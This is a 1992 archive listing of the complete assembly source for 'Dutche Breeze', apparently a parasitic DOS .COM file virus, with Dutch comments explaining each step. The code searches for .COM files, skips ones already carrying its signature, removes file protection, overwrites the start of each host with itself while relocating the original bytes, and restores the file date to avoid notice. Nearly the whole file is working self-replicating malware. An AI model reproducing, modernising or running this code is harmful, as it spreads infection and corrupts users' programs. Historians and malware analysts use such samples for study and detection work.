home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BREEZE.ASM < prev    next >
Assembly Source File  |  1992-10-07  |  8KB  |  198 lines

  1. ;┌─────────────────────────────────────────────────────────────────────────────┐
  2. ;│                      Dutche Breeze by Glenn Benton                          │
  3. ;├─────────────────────────────────────────────────────────────────────────────┤
  4. ;│ This will be a Parasytic Non-Resident .COM infector.                        │
  5. ;│ It will also infect COMMAND.COM.                                            │
  6. ;└─────────────────────────────────────────────────────────────────────────────┘
  7. .MODEL TINY
  8.  
  9. Public          VirLen,MovLen
  10.  
  11. Code            Segment para 'Code'
  12. Assume          Cs:Code,Ds:Code,Es:Code
  13.  
  14.         Org 100h
  15.  
  16. Signature       Equ 0CaDah      ; Signature of virus is ABCD!
  17.  
  18. Buff1           Equ 0F100h
  19. Buff2           Equ Buff1+2
  20. VirLen          Equ Offset Einde-Offset Begin
  21. MovLen          Equ Offset Einde-Offset Mover
  22. DTA             Equ 0F000h
  23. Proggie         Equ DTA+1Eh
  24. Lenny           Equ DTA+1Ah
  25.  
  26. MinLen          Equ Virlen   ;Minimale lengte te besmetten programma
  27. MaxLen          Equ 0EF00h      ; Maximale lengte te besmetten programma
  28.  
  29. ;────────────────────────────────────────────────────────────────────
  30. ; This part will contain the actual virus code, for searching the
  31. ; next victim and infection of it.
  32. ;────────────────────────────────────────────────────────────────────
  33.  
  34. Begin:
  35.         Jmp Short OverSig       ; Sprong naar Oversig vanwege kenmerk
  36.         DW Signature            ; Herkenningsteken virus
  37. Oversig:
  38.         Pushf                   ;------------------
  39.         Push AX                 ; Alle registers opslaan voor
  40.         Push BX                 ; later gebruik van het programma
  41.         Push CX                 ;
  42.         Push DX                 ;
  43.         Push DS                 ;
  44.         Push ES                 ;
  45.         Push SS                 ;
  46.         Push SI                 ;
  47.         Push DI                 ;------------------
  48. InfectPart:
  49.         Mov AX,Sprong           ;------------------
  50.         Mov Buf1,AX             ; Spronggegevens bewaren om
  51.         Mov BX,Source           ; besmette programma te starten
  52.         Mov Buf2,BX             ;------------------
  53.         Mov AH,1Ah              ; DTA area instellen op
  54.         Mov DX,DTA              ; $DTA area
  55.         Int 21h                 ;------------------
  56. Vindeerst:      Mov AH,4Eh              ; Zoeken naar 1e .COM file in directory
  57.         Mov Cx,1                ;
  58.         Lea DX,FindPath         ;
  59.         Int 21h                 ;------------------
  60.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  61.         Jmp Afgelopen           ;------------------
  62. KijkInfected:
  63.         Mov DX,Cs:[Lenny]       ;------------------
  64.         Cmp DX,MinLen           ; Kijken of programmalengte voldoet
  65.         Jb  ZoekNext            ; aan de eisen van het virus
  66.         Cmp DX,MaxLen           ;
  67.         Ja  ZoekNext            ;------------------
  68. On2:            Mov AH,3Dh              ; Zo ja , file openen en file handle
  69.         Mov AL,2                ; opslaan
  70.         Mov DX,Proggie          ;
  71.         Int 21h                 ;
  72.         Mov FH,AX               ;------------------
  73.         Mov BX,AX               ;
  74.         Mov AH,3Fh              ; Lezen 1e 4 bytes van een file met
  75.         Mov CX,4                ; een mogelijk kenmerk van het virus
  76.         Mov DX,Buff1            ;
  77.         Int 21h                 ;------------------
  78. Sluiten:        Mov AH,3Eh              ; File weer sluiten
  79.         Int 21h                 ;------------------
  80.         Mov AX,CS:[Buff2]       ; Vergelijken inhoud lokatie Buff1+2
  81.         Cmp AX,Signature        ; met Signature. Niet gelijk : Zoeken op
  82.         Jnz Infect              ; morgoth virus. Als bestand al besmet
  83. ZoekNext:
  84.         Mov AH,4Fh              ;------------------
  85.         Int 21h                 ; Zoeken naar volgende .COM file
  86.         Jnc KijkInfected        ; Geen gevonden, goto Afgelopen
  87.         Jmp Afgelopen           ;------------------
  88.         Db 'Dutch [Breeze] by Glenn Benton'
  89. Infect:
  90.         Mov DX,Proggie          ; beveiliging weghalen
  91.         Mov AH,43h              ;
  92.         Mov AL,1                ;
  93.         Xor CX,Cx
  94.         Int 21h                 ;------------------
  95.         Mov AH,3Dh              ; Bestand openen
  96.         Mov AL,2                ;
  97.         Mov DX,Proggie          ;
  98.         Int 21h                 ;------------------
  99.         Mov FH,AX               ; Opslaan op stack van
  100.         Mov BX,AX               ; datum voor later gebruik
  101.         Mov AH,57H              ;
  102.         Mov AL,0                ;
  103.         Int 21h                 ;
  104.         Push CX                 ;
  105.         Push DX                 ;------------------
  106.         Mov AH,3Fh              ; Inlezen van eerste deel van het
  107.         Mov CX,VirLen+2         ; programma om later terug te
  108.         Mov DX,Buff1            ; kunnen plaatsen.
  109.         Int 21h                 ;------------------
  110.         Mov AH,42H              ; File Pointer weer naar het
  111.         Mov AL,2                ; einde van het programma
  112.         Xor CX,CX               ; zetten
  113.         Xor DX,DX               ;
  114.         Int 21h                 ;------------------
  115.         Xor DX,DX               ; Bepalen van de variabele sprongen
  116.         Add AX,100h             ; in het virus (move-routine)
  117.         Mov Sprong,AX           ;
  118.         Add AX,MovLen           ;
  119.         Mov Source,AX           ;------------------
  120.         Mov AH,40H              ; Move routine bewaren aan
  121.         Mov DX,Offset Mover     ; einde van file
  122.         Mov CX,MovLen           ;
  123.         Int 21h                 ;------------------
  124.         Mov AH,40H              ; Eerste deel programma aan-
  125.         Mov DX,Buff1            ; voegen na Move routine
  126.         Mov CX,VirLen           ;
  127.         Int 21h                 ;------------------
  128.         Mov AH,42h              ; File Pointer weer naar
  129.         Mov AL,0                ; het begin van file
  130.         Xor CX,CX               ; sturen
  131.         Xor DX,DX               ;
  132.         Int 21h                 ;------------------
  133.         Mov AH,40h              ; En programma overschrijven
  134.         Mov DX,Offset Begin     ; met code van het virus
  135.         Mov CX,VirLen           ;
  136.         Int 21h                 ;------------------
  137.         Mov AH,57h              ; Datum van aangesproken file
  138.         Mov AL,1                ; weer herstellen
  139.         Pop DX                  ;
  140.         Pop CX                  ;
  141.         Int 21h                 ;------------------
  142.         Mov AH,3Eh              ; Sluiten file
  143.         Int 21h                 ;------------------
  144. Afgelopen:      Mov BX,Buf2             ; Sprongvariabelen weer
  145.         Mov Source,BX           ; op normaal zetten voor
  146.         Mov AX,Buf1             ; de Move routine
  147.         Mov Sprong,AX           ;------------------
  148.         Mov AH,1Ah              ; DTA adres weer op normaal
  149.         Mov Dx,80h              ; zetten en naar de Move
  150.         Int 21h                 ; routine springen
  151.         Jmp CS:[Sprong]         ;------------------
  152.  
  153. ;────────────────────────────────────────────────────────────────────
  154. ; All variables are stored in here, like filehandle, date/time,
  155. ; search path and various buffers.
  156. ;────────────────────────────────────────────────────────────────────
  157.  
  158. FH              DW 0
  159. FindPath        DB '*.COM',0
  160.  
  161. Buf1            DW 0
  162. Buf2            DW 0
  163.  
  164. Sprong          DW 0
  165. Source          DW 0
  166.  
  167. ;────────────────────────────────────────────────────────────────────
  168. ; This will contain the relocator routine, located at the end of
  169. ; the ORIGINAL file. This will tranfer the 1st part of the program
  170. ; to it's original place.
  171. ;────────────────────────────────────────────────────────────────────
  172. Mover:
  173.         Mov DI,Offset Begin     ;------------------
  174.         Mov SI,Source           ; Verplaatsen van het 1e deel
  175.         Mov CX,VirLen-1         ; van het programma, wat achter
  176.         Rep Movsb               ;------------------
  177.         Pop DI                  ; Opgeslagen registers weer
  178.         Pop SI                  ; terugzetten op originele
  179.         Pop SS                  ; waarde en springen naar
  180.         Pop ES                  ; het begin van het programma
  181.         Pop DS                  ; (waar nu het virus niet meer
  182.         Pop DX                  ; staat)
  183.         Pop CX                  ;
  184.         Pop BX                  ;
  185.         Pop AX                  ;
  186.         Popf                    ;
  187.         Mov BX,100h             ;
  188.         Jmp BX                  ;------------------
  189.  
  190. ;────────────────────────────────────────────────────────────────────
  191. ; Only the end of the virus is stored in here.
  192. ;────────────────────────────────────────────────────────────────────
  193. Einde           db 0
  194.  
  195. Code            Ends
  196. End             Begin
  197.  
  198.